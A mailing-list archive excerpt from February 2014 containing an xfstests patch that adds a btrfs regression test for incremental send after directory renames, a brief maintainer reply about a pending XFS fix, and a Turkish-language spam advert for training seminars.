mXB1Rs0vpYaNbkCMMM/f97Gj3qfbl1Dbhl1iHNOZA+qvljFhAC/MRI6H+zVv8WNDDnx7 Yot4Qp+1/zvqSF2miKkKCVjLPOwglQqhOHtCK15wZpsVUNu3RwpBLhmUST9S9cL2mRbu 5Lk3oXoLdACI5SYnOODJFupU+FUyvOGE/Du0WtqLPTeq9n5N65tSqbJ6gEXgZD8m5UQ+ 2q6w== X-Received: by 10.180.164.229 with SMTP id yt5mr9124629wib.49.1392558269785; Sun, 16 Feb 2014 05:44:29 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id jw4sm28589808wjc.20.2014.02.16.05.44.29 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Feb 2014 05:44:29 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs incremental send after dir renames Date: Sun, 16 Feb 2014 13:44:20 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs incremental send after dir renames Message-Id: <1392558260-14546-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-we0-f172.google.com[74.125.82.172] X-Barracuda-Start-Time: 1392558271 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145174 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue related to renaming of directories. If at the time of the initial send we have a directory that is a child of a directory with a higher inode number, and then later after the initial full send we rename both the child and parent directories, but without moving any of them, a subsequent incremental send would produce a rename instruction for the child directory that pointed to an invalid path. This made the btrfs receive operation fail. This issue is fixed by the following linux kernel btrfs patch: Btrfs: incremental send, fix invalid path after dir rename Signed-off-by: Filipe David Borba Manana --- tests/btrfs/041 | 133 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/041.out | 1 + tests/btrfs/group | 1 + 3 files changed, 135 insertions(+) create mode 100755 tests/btrfs/041 create mode 100644 tests/btrfs/041.out diff --git a/tests/btrfs/041 b/tests/btrfs/041 new file mode 100755 index 0000000..14309f2 --- /dev/null +++ b/tests/btrfs/041 @@ -0,0 +1,133 @@ +#! /bin/bash +# FS QA Test No. btrfs/041 +# +# Regression test for a btrfs incremental send issue related to renaming of +# directories. If at the time of the initial send we have a directory that is +# a child of a directory with a higher inode number, and then later after the +# initial full send we rename both the child and parent directories, but +# without moving any of them, a subsequent incremental send would produce a +# rename instruction for the child directory that pointed to an invalid path. +# This made the btrfs receive operation fail. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: incremental send, fix invalid path after dir rename +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/d +mkdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/d $SCRATCH_MNT/a/b/c +mkdir $SCRATCH_MNT/e +mkdir -p $SCRATCH_MNT/a/b/f/g +mv $SCRATCH_MNT/e $SCRATCH_MNT/a/b/f/g + +# Filesystem looks like: +# +# . (ino 256) +# |-- a (ino 258) +# |-- b (ino 260) +# |-- c (ino 266) +# | |-- d (ino 265) +# | +# |-- f (ino 267) +# |-- g (ino 268) +# |-- e (ino 266) + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/x +mv $SCRATCH_MNT/a/b/x/d $SCRATCH_MNT/a/b/x/y +mv $SCRATCH_MNT/a/b/f $SCRATCH_MNT/a/b/w +mv $SCRATCH_MNT/a/b/w/g/e $SCRATCH_MNT/a/b/w/g/z + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a (ino 258) +# |-- b (ino 260) +# |-- x (ino 266) +# | |-- y (ino 265) +# | +# |-- w (ino 267) +# |-- g (ino 268) +# |-- z (ino 266) + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/041.out b/tests/btrfs/041.out new file mode 100644 index 0000000..309876c --- /dev/null +++ b/tests/btrfs/041.out @@ -0,0 +1 @@ +QA output created by 041 diff --git a/tests/btrfs/group b/tests/btrfs/group index a687634..09e309c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -39,3 +39,4 @@ 034 auto quick 036 auto quick 040 auto quick +041 auto quick -- 1.7.9.5 From BATV+33c837a56db159e8c963+3829+infradead.org+hch@bombadil.srs.infradead.org Sun Feb 16 08:45:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 04FE07F72 for ; Sun, 16 Feb 2014 08:45:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D47588F804C for ; Sun, 16 Feb 2014 06:45:45 -0800 (PST) X-ASG-Debug-ID: 1392561943-04cbb00c29472ad0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id qnqJOdLMEeAFE8fh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 16 Feb 2014 06:45:44 -0800 (PST) X-Barracuda-Envelope-From: BATV+33c837a56db159e8c963+3829+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WF2yV-0008Bx-7p; Sun, 16 Feb 2014 14:45:43 +0000 Date: Sun, 16 Feb 2014 06:45:43 -0800 From: Christoph Hellwig To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct timestamp updates from truncate Message-ID: <20140216144543.GA31447@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: ensure correct timestamp updates from truncate References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> <20140130080652.GA23758@infradead.org> <20140130154701.GP1935@sgi.com> <20140203102323.GC11829@infradead.org> <20140208071100.GC25719@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140208071100.GC25719@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392561943 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145175 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 11:11:00PM -0800, Christoph Hellwig wrote: > On Mon, Feb 03, 2014 at 02:23:23AM -0800, Christoph Hellwig wrote: > > On Thu, Jan 30, 2014 at 09:47:01AM -0600, Ben Myers wrote: > > > That is v3.13-rc2-14-gc91c46c, so I believe we'll want to Cc: stable on this > > > one. Correct? > > We'll need to get it to Linus for 3.14 first, though. Any chance to get it out any time soon? Same for the logvec alignment fix from Dave. From hsnd@imbt.net Sun Feb 16 12:28:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=HTML_FONT_LOW_CONTRAST, HTML_MESSAGE,T_DKIM_INVALID,URI_OBFU_WWW autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E83427F76 for ; Sun, 16 Feb 2014 12:28:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7C302AC019 for ; Sun, 16 Feb 2014 10:28:53 -0800 (PST) X-ASG-Debug-ID: 1392575326-04bdf00fc350330001-NocioJ Received: from host-37-247-108-134.routergate.com (host-37-247-108-134.routergate.com [37.247.108.134]) by cuda.sgi.com with ESMTP id cgYrKOMm3guxehL2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Feb 2014 10:28:48 -0800 (PST) X-Barracuda-Envelope-From: hsnd@imbt.net X-Barracuda-Apparent-Source-IP: 37.247.108.134 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=imbt.net; s=default; h=List-Unsubscribe:Date:MIME-Version:Content-Type:To:Subject:From; bh=/3XXLOjpUca4+kHOUqEGhwjHkiqSRWKGCCrROUvRJCo=; b=kee1McVe5Kvh1t2VCUYXQg2zfQL0VWo/hl7VXRb9S4Qy08OL9kBBx9b7al62ApAKa+1Fw1/JqfQ+LgoukFmjm/PQIzAG32iwxCGMzfTWizuCyDphV0wCcLR0hIByv0uq8FY4FlG/rbBVypnWHlxzIohHjnvC8TelpXb2VH+0RU8=; Received: from [37.247.108.98] (port=1846 helo=host-37-247-108-98.routergate.com) by host-37-247-108-134.routergate.com with esmtpa (Exim 4.82) (envelope-from ) id 1WF6SL-0005zM-7T for xfs@oss.sgi.com; Sun, 16 Feb 2014 20:28:45 +0200 From: "=?utf-8?B?Q2FuZGFuIEtvw6cgQXJoYW4=?=" Subject: =?utf-8?B?WWHFn2FtIGJveXUgZcSfaXRpbSBlbiBkb8SfcnUgeWF0xLFyxLFtZMSxcg==?= To: "xfs" X-ASG-Orig-Subj: =?utf-8?B?WWHFn2FtIGJveXUgZcSfaXRpbSBlbiBkb8SfcnUgeWF0xLFyxLFtZMSxcg==?= Content-Type: multipart/alternative; boundary="RAFuewMAJKLM2sInocWp=_2hRaN6ohXX2Z" MIME-Version: 1.0 Organization: =?utf-8?B?Q2FuZGFuIEtvw6cgQXJoYW4=?= Date: Sun, 16 Feb 2014 10:28:50 -0800 Priority: urgent X-Priority: 1 List-Unsubscribe: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - host-37-247-108-134.routergate.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - imbt.net X-Get-Message-Sender-Via: host-37-247-108-134.routergate.com: authenticated_id: hsnd@imbt.net X-Barracuda-Connect: host-37-247-108-134.routergate.com[37.247.108.134] X-Barracuda-Start-Time: 1392575327 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, FH_HELO_EQ_D_D_D_D, FUZZY_CREDIT, HTML_MESSAGE, MISSING_MID, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 FH_HELO_EQ_D_D_D_D Helo is d-d-d-d 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS Message-Id: <20140216182852.F26C6A4217F@cuda.sgi.com> This is a multi-part message in MIME format --RAFuewMAJKLM2sInocWp=_2hRaN6ohXX2Z Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =EF=BB=BF Ya=C5=9Fam boyu e=C4=9Fitim en do=C4=9Fru yat=C4=B1r=C4=B1md=C4=B1r =20 =20 Merhaba =20 Bo=C4=9Fazi=C3=A7i =C5=9Eubat 2014 / 2. Yar=C4=B1 kat=C4=B1l=C4=B1mlar= =C4=B1 kesinle=C5=9Fen sertifika programlar=C4=B1 ve e=C4=9Fitim semin= erlerimize kay=C4=B1tlar=C4=B1m=C4=B1z devam etmektedir.=20 Sundu=C4=9Fumuz t=C3=BCm e=C4=9Fitimleri i=C5=9Fletmeniz nerede olursa= olsun firman=C4=B1za =C3=B6zel ger=C3=A7ekle=C5=9Ftirebilmekteyiz. Er= ken kay=C4=B1t ve grup kat=C4=B1l=C4=B1m avantajlar=C4=B1m=C4=B1zdan f= aydalanmak i=C3=A7in l=C3=BCtfen organizasyon yetkililerimizle ileti=C5= =9Fime ge=C3=A7iniz. Programlar=C4=B1m=C4=B1zda sizleri aram=C4=B1zda g=C3=B6rebilmek =C3=BC= midiyle g=C3=BCzel ve ba=C5=9Far=C4=B1l=C4=B1 g=C3=BCnler ge=C3=A7irme= nizi dileriz. 0 216 422 95 95 / www bogaziciegitim com Sertifika Programlar=C4=B1 Y=C3=B6netici Asistanl=C4=B1=C4=9F=C4=B1 Uluslararas=C4=B1 Sertifika P= rogram=C4=B1 (=C4=B0ngilizce) 18-19 =C5=9Eubat 2014 "Haz=C4=B1rlam=C4=B1=C5=9F oldu=C4=9Fumuz Y=C3=B6netici Asistanl=C4=B1= =C4=9F=C4=B1 =C4=B0ngilizce Sertifika Program=C4=B1, kat=C4=B1l=C4=B1m= c=C4=B1lar=C4=B1 Uluslararas=C4=B1 platformlar=C4=B1n y=C3=B6netici as= istanl=C4=B1=C4=9F=C4=B1 konusunda bilgilendirmek ve uzman y=C3=B6neti= ci asistanl=C4=B1=C4=9F=C4=B1 modelini ger=C3=A7ek hayattan uygulamala= rla =C3=B6=C4=9Fretmeyi ama=C3=A7lamaktad=C4=B1r. Program ayn=C4=B1 za= manda, uyumlu ve etkin bir y=C3=B6netici asistanl=C4=B1=C4=9F=C4=B1 pr= ofili yarat=C4=B1lmas=C4=B1nda dikkate al=C4=B1nmas=C4=B1 gerekli t=C3= =BCm strateji ve y=C3=B6ntemleri de kat=C4=B1l=C4=B1mc=C4=B1lara sunma= y=C4=B1 hedeflemektedir." =C4=B0nsan Kaynaklar=C4=B1 Uzmanl=C4=B1k E=C4=9Fitimi 18-22 =C5=9Eubat 2014 "Toplam 7 modulden olu=C5=9Fan program=C4=B1m=C4=B1zda =C3=BClkemizin = ihtiya=C3=A7 duydu=C4=9Fu =E2=80=9CNitelikli =C4=B0nsan Kaynaklar=C4=B1= Uzmanlar=C4=B1=E2=80=9D yeti=C5=9Ftirmek i=C3=A7in gereken yetkinlik,= s=C4=B1cakl=C4=B1k ve birebir anlat=C4=B1m ortam=C4=B1nda ger=C3=A7ek= le=C5=9Fti=C4=9Finden olduk=C3=A7a verimli ge=C3=A7mektedir. E=C4=9Fit= menimiz g=C3=BCncel ve pratik uygulamalara yer verir role playlerle ko= nular=C4=B1n peki=C5=9Fmesini sa=C4=9Flamaktad=C4=B1r." the Association of Chartered Certified Accountants / Tescil Edilmi=C5=9F= Ruhsatl=C4=B1 Muhasebeciler Birli=C4=9Fi ACCA Mesleki Yeterlik S=C4=B1navlar=C4=B1na Haz=C4=B1rl=C4=B1k Sertifi= ka Programlar=C4=B1=20 Yeminli Mali M=C3=BC=C5=9Favirler Derne=C4=9Fi (ACCA), 170 =C3=BClkede= 115.000 =C3=BCzerinde =C3=BCyesi ile, d=C3=BCnyan=C4=B1n en b=C3=BCy=C3= =BCk ve en h=C4=B1zl=C4=B1 b=C3=BCy=C3=BCyen uluslararas=C4=B1 muhaseb= e kurumudur. ACCA'n=C4=B1n verdi=C4=9Fi belgeler t=C3=BCm AB =C3=BClkelerinde ve 17= 0 =C3=BClkede ge=C3=A7erlidir. Bu belgelere sahip olmak i=C3=A7in yap=C4= =B1lan =C3=A7al=C4=B1=C5=9Fmalar ki=C5=9Finin mesleki bilgisini art=C4= =B1rmas=C4=B1 yan=C4=B1nda Uluslararas=C4=B1 Kariyer =C4=B0mkan=C4=B1 = sa=C4=9Flayan birer Anahtar olmaktad=C4=B1r. =C3=9Clkemizde de bu belg= e yabanc=C4=B1 ortakl=C4=B1klar a=C3=A7=C4=B1s=C4=B1ndan =C3=B6nemlidi= r. ACCA ayr=C4=B1ca, uluslararas=C4=B1, b=C3=B6lgesel ve y=C3=B6resel sev= iyede bir=C3=A7ok mali m=C3=BC=C5=9Favirlik kurumuyla =C3=A7al=C4=B1=C5= =9Farak, mesle=C4=9Fin geli=C5=9Fmesine de aktif bi=C3=A7imde katk=C4=B1= sa=C4=9Fl=C4=B1yor. ACCA, d=C3=BCnyan=C4=B1n kilit mali m=C3=BC=C5=9F= avirlik ve finans kurulu=C5=9Flar=C4=B1nda, heyetlerinde temsil ediliy= or, kamu yarar=C4=B1na g=C3=B6zetilen politikalarda s=C3=B6z sahibi ol= uyor. Ba=C5=9Fka uluslararas=C4=B1 mali m=C3=BC=C5=9Favirlik kurulu=C5= =9Flar=C4=B1yla k=C4=B1yasland=C4=B1=C4=9F=C4=B1nda, gittik=C3=A7e dah= a fazla insan ACCA ile yerel d=C3=BCzlemde vas=C4=B1f sahibi oluyor. =C3= =87in=E2=80=99den Birle=C5=9Fik Krall=C4=B1=C4=9Fa, Polonya=E2=80=99da= n G=C3=BCney Afrika=E2=80=99ya b=C3=BCt=C3=BCn ACCA =C3=BCyeleri ortak= =C3=BCyelik kriterlerini yerine getirmi=C5=9F durumda. CERTIFR - CERTIFICATE IN INTERNATIONAL FINANCIAL REPORTING S=C3=BCre : 75 Saat Hafta =C4=B0=C3=A7i : 19:00 =E2=80=93 22:30 ; 6 Ha= fta (Sal=C4=B1, =C3=87ar=C5=9Famba, Per=C5=9Fembe) 18 =C5=9Eubat - 27 = Mart Hafta Sonu (Cumartesi ve Pazar) : 10:00 =E2=80=93 16:00; 7 Hafta,= 22 =C5=9Eubat - 6 Nisan=20 Program Sorumlusu : Lucia Real Martin // Director, Emerging Markets - = Asia at ACCACERTIA - CERTIFICATE IN INTERNATIONAL=20 AUDITING S=C3=BCre : 45 SaatHafta =C4=B0=C3=A7i : 19:00 =E2=80=93 22:30 ; 5 Haf= ta, (Sal=C4=B1, =C3=87ar=C5=9Famba, Per=C5=9Fembe) 18 =C5=9Eubat - 20 = Mart Hafta Sonu (Cumartesi ve Pazar) : 10:00 =E2=80=93 16:00; 4 Hafta,= 22 =C5=9Eubat - 16 Mart=20 Program Sorumlusu : Lucia Real Martin // Director Emerging Markets - A= sia at ACCA Seminer Programlar=C4=B1 "Fikir Sat=C4=B1c=C4=B1s=C4=B1" =C4=B0leti=C5=9Fim & Hedef - Strateji = Belirleme Semineri 15 =C5=9Eubat 2014 "Fikir Sat=C4=B1c=C4=B1s=C4=B1=E2=80=9D Olmadan Hi=C3=A7bir =C5=9Eey S= atamazs=C4=B1n=C4=B1z. =C3=87ok iyi fikirleriniz olmas=C4=B1, fikirler= inizi hayata ge=C3=A7irebilmenizi sa=C4=9Flamaz. =C3=87ok iyi fikirler= inizi =C3=A7ok iyi anlatman=C4=B1z ya da pazarlaman=C4=B1z da yeterli = de=C4=9Fildir." Ba=C5=9Far=C4=B1l=C4=B1 Sat=C4=B1nalman=C4=B1n P=C3=BCf Noktalar=C4=B1= 19 =C5=9Eubat 2014 "Bu e=C4=9Fitimin i=C3=A7eri=C4=9Fi; sat=C4=B1nalma s=C3=BCre=C3=A7ler= inde daha da etkin olunabilmesi i=C3=A7in, pratik ve kullan=C4=B1=C5=9F= l=C4=B1 =C3=A7=C3=B6z=C3=BCmlerin ortaya konulmas=C4=B1 ile sat=C4=B1n= alma departman=C4=B1 =C3=A7al=C4=B1=C5=9Fanlar=C4=B1n=C4=B1n kar=C5=9F= =C4=B1la=C5=9Ft=C4=B1klar=C4=B1 g=C3=BCncel ve genel sorunlara sunulac= ak h=C4=B1zl=C4=B1 =C3=A7=C3=B6z=C3=BCmlerle s=C3=BCre=C3=A7lerin i=C5= =9Flevsel hale getirilmesidir." Kurumsal Sosyal Medya Stratejileri ve Digital PR 22 =C5=9Eubat 2014 "Ama=C3=A7 Kurumlar=C4=B1n ana stratejilerine paralel sosyal medya str= atejilerini olu=C5=9Fturmalar=C4=B1n=C4=B1 sa=C4=9Flamak ve hedef kitl= eleri ile sosyal medya =C3=BCzerinden etkili ileti=C5=9Fim kurmalar=C4= =B1na yard=C4=B1mc=C4=B1 olmakt=C4=B1r." Finans=C3=A7=C4=B1 Olmayanlar =C4=B0=C3=A7in Finans E=C4=9Fitimi 22 =C5=9Eubat 2014 "Ama=C3=A7 her y=C3=B6neticinin bilmesi gereken temel finans bilgileri= ni ve prati=C4=9Fini vermektir" =C4=B0=C5=9Fe Al=C4=B1m / Se=C3=A7me, Yerle=C5=9Ftirme S=C3=BCreci ve = M=C3=BClakat Teknikleri E=C4=9Fitimi 27-28 =C5=9Eubat 2014 "=C4=B0=C5=9Fe Al=C4=B1m/Se=C3=A7me Yerle=C5=9Ftirme S=C3=BCreci ve M=C3= =BClakat Teknikleri E=C4=9Fitiminde s=C4=B1f=C4=B1rdan i=C5=9F analizi= s=C3=BCre=C3=A7leri ve i=C5=9F tan=C4=B1mlar=C4=B1 olu=C5=9Fturularak= etkili bir m=C3=BClakat tekni=C4=9Fi ile do=C4=9Fru ki=C5=9Finin do=C4= =9Fru i=C5=9Fe yerle=C5=9Ftirilmesini sa=C4=9Flayacak y=C3=B6ntemlerin= payla=C5=9F=C4=B1lmas=C4=B1, yetkinlikler ve yetkinlik bazl=C4=B1 m=C3= =BClakat tekni=C4=9Finin detayl=C4=B1 bir bi=C3=A7imde aktar=C4=B1lmas= =C4=B1, m=C3=BClakat ve aday se=C3=A7im s=C3=BCrecinin profesyonel bir= =C5=9Fekilde y=C3=BCr=C3=BCtmenin yollar=C4=B1n=C4=B1n uygulamalarla = anlat=C4=B1lmas=C4=B1 hedeflenmektedir." Akreditif Uygulamalar=C4=B1 ve Teminat Mektuplar=C4=B1 26 =C5=9Eubat 2014 "Akreditif uygulamalar=C4=B1=E2=80=9D program=C4=B1nda kat=C4=B1l=C4=B1= mc=C4=B1lar akreditifin a=C3=A7=C4=B1l=C4=B1=C5=9F=C4=B1ndan kapan=C4=B1= =C5=9F=C4=B1na kadar ge=C3=A7en t=C3=BCm s=C3=BCre=C3=A7leri kendileri= bilfiil uygulayarak =C3=B6=C4=9Freneceklerdir. Bununla beraber hangi = d=C4=B1=C5=9F ticaret i=C5=9Flemlerinde hangi akreditif t=C3=BCr=C3=BC= n=C3=BCn uygulanmas=C4=B1 gerekti=C4=9Fi, sorunlardan ka=C3=A7=C4=B1nm= ak i=C3=A7in al=C4=B1nmas=C4=B1 gereken =C3=B6nlemler ve problemlerin = =C3=A7=C3=B6z=C3=BCm=C3=BC konusunda da bilgi sahibi olacaklard=C4=B1r= =2E AYIN KONFERANSI =20 =20 "Kilit M=C3=BC=C5=9Fteri Grubu;Sat=C4=B1=C5=9Fta En Fazla Stratejik =C3= =96nem Ta=C5=9F=C4=B1yan Gruptur Bu sebepledir ki;Do=C4=9Fru Kilit M=C3=BC=C5=9Fteri Y=C3=B6netimi =C4=B0= =C5=9Fletmeler =C4=B0=C3=A7in Hayati =C3=96nem Ta=C5=9F=C4=B1maktad=C4= =B1r..." =20 III. K=C4=B0L=C4=B0T M=C3=9C=C5=9ETER=C4=B0 Y=C3=96NET=C4=B0M=C4=B0 Z=C4=B0RVES=C4=B0=20 =20 22 =C5=9Eubat 2014 Le Meridien Hotel - =C4=B0stanbul =20 Konu=C5=9Fmac=C4=B1lar: =20 - Prof. Dr. Serdar Pirtini // Marmara =C3=9Cniversitesi =C3=96=C4=9Fre= tim =C3=9Cyesi - Cenk Varol // Coca Cola B=C3=B6lge Sat=C4=B1=C5=9F M=C3=BCd=C3=BCr=C3= =BC - Dr. Michael Dylan Cora // Do=C4=9Fu=C5=9F =C3=9Cniversitesi =C3=96=C4= =9Fretim G=C3=B6revlisi, American Service Industry International LLC U= luslararas=C4=B1 Strateji Direkt=C3=B6r=C3=BC - O=C4=9Fuzhan S=C3=BCral // Ac=C4=B1badem Sa=C4=9Fl=C4=B1k Grubu =C4=B0= =C5=9F Geli=C5=9Ftirme Direkt=C3=B6r=C3=BC - Serta=C3=A7 Oral // BOSCH End=C3=BCstriyel Kanal =C3=96zel M=C3=BC=C5= =9Fteriler Sat=C4=B1=C5=9F Y=C3=B6neticisi - =C5=9Eermin Y=C4=B1lmaz // =C3=87=C4=B1ra=C4=9Fan Palace Kempinski =C4= =B0nsan Geli=C5=9Fimi ve E=C4=9Fitim Direkt=C3=B6r=C3=BC=20 =20 Taraf=C4=B1n=C4=B1za davet bilgisi amac=C4=B1yla g=C3=B6nderilmi=C5=9F= etkinlik b=C3=BCltenimizi gelecekte almak istemiyor ya da farkl=C4=B1= bir kanala y=C3=B6nlendirilmesini istiyorsan=C4=B1z l=C3=BCtfen maill= e bildiriniz.=20 =20 --RAFuewMAJKLM2sInocWp=_2hRaN6ohXX2Z Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =EF=BB=BF


Ya=C5=9Fam boyu e=C4=9Fitim en do=C4=9Fru yat=C4=B1r=C4=B1m= d=C4=B1r
 

=

 =20=

Merhaba
 
=20

Bo=C4=9Fazi=C3=A7i =C5=9Eubat 2014 / 2. Yar=C4=B1 kat=C4=B1l=C4= =B1mlar=C4=B1 kesinle=C5=9Fen sertifika programlar=C4=B1 ve e=C4=9Fiti= m seminerlerimize kay=C4=B1tlar=C4=B1m=C4=B1z devam etmektedir.

Sundu=C4=9Fumuz t=C3=BCm e=C4=9Fitimleri i=C5=9Fletmeniz nerede= olursa olsun firman=C4=B1za =C3=B6zel ger=C3=A7ekle=C5=9Ftirebilmekte= yiz. Erken kay=C4=B1t ve grup kat=C4=B1l=C4=B1m avantajlar=C4=B1m=C4=B1= zdan faydalanmak i=C3=A7in l=C3=BCtfen organizasyon yetkililerimizle i= leti=C5=9Fime ge=C3=A7iniz.
